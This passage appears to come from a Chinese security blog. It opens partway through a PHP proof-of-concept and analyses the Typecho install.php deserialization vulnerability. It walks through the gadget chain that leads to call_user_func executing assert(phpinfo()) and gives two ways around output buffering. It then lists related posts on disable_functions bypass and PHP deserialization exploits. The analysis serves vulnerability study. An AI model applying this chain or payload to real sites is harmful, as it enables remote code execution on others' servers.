    'prefix' => 'test'
);
echo base64_encode(serialize($exp));
?>

构造__typecho_config的值等于PoC输出内容，加上referer头信息，发送给http://localhost/install.php?finish=1 PoC执行流程: base64编码后的序列化内容经过解码后反序列化，传给Typecho_Db构造函数，其中adapter参数是一个Typecho_Feed对象，拼接了字符串会调用__toString()方法，控制可控变量进入第2个if分支，执行到$item['author']->screenName，当author是一个Typecho_Request对象且没有screenName属性时，会调用__get()方法执行_applyFilter()，进而执行call_user_func，传入assert(phpinfo());执行成功

最后还有一个ob_start()的问题，install.php中开启了这个，

此函数将打开输出缓冲。当输出缓冲激活后，脚本将不会输出内容（除http标头外），相反需要输出的内容被存储在内部缓冲区中。

所以会触发异常后导致500，同时输出内容会在缓冲区会清除，@LoRexxar’给出了两个解决办法

1、因为call_user_func函数处是一个循环，我们可以通过设置数组来控制第二次执行的函数，然后找一处exit 跳出，缓冲区中的数据就会被输出出来。

2、第二个办法就是在命令执行之后，想办法造成一个报错，语句报错就会强制停止，这样缓冲区中的数据仍然会被输出出来。

总的来看这个漏洞还是比较经典的，涉及到几个特性和两三层的调用链，至于流传的“后门”说法还是持保留态度，我们还是回归到技术交流本身吧~

参考:

Typecho 前台 getshell 漏洞分析

POP链和序列化，反序列化操作

Php on 诗与胡说

利用LD_PRELOAD绕过disbale_functions

0x01 背景

0x02 LD_PRELOAD 环境变量

0x03 绕过disable_functions

mail()

imap_mail()

Imagick

0x04 总结

对PHP中的mkdir()函数的研究

0x01 缘起

0x02 调试

0x03 源码分析

1. recursive=true

thread-safe

non-thread safe

2. recursive=false

0x04 流程图

0x05 深入

0x06 总结

PrestaShop后台远程代码执行漏洞分析(CVE-2018-19126)

0x01 概述

0x02 影响版本

0x03 环境搭建

0x04 漏洞分析

0x05 漏洞利用

一、生成phar文件

二、重命名默认上传目录

三、发送payload

0x06 补丁分析

0x07 总结

由PHPGGC理解PHP反序列化漏洞

0x01 概述

0x02 Drupal Yaml反序列化漏洞

一、介绍

PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920

二、漏洞分析

三、漏洞利用

1. 远程代码执行

2. 任意文件写入

3. 任意文件删除

四、总结

0x03 Typo3反序列化漏洞

一、介绍

二、phar://介绍

三、漏洞分析

四、漏洞利用

五、总结及防御

0x04 总结

Typecho install.php 反序列化漏洞分析

漏洞分析

PoC

0x03 绕过`disable_functions`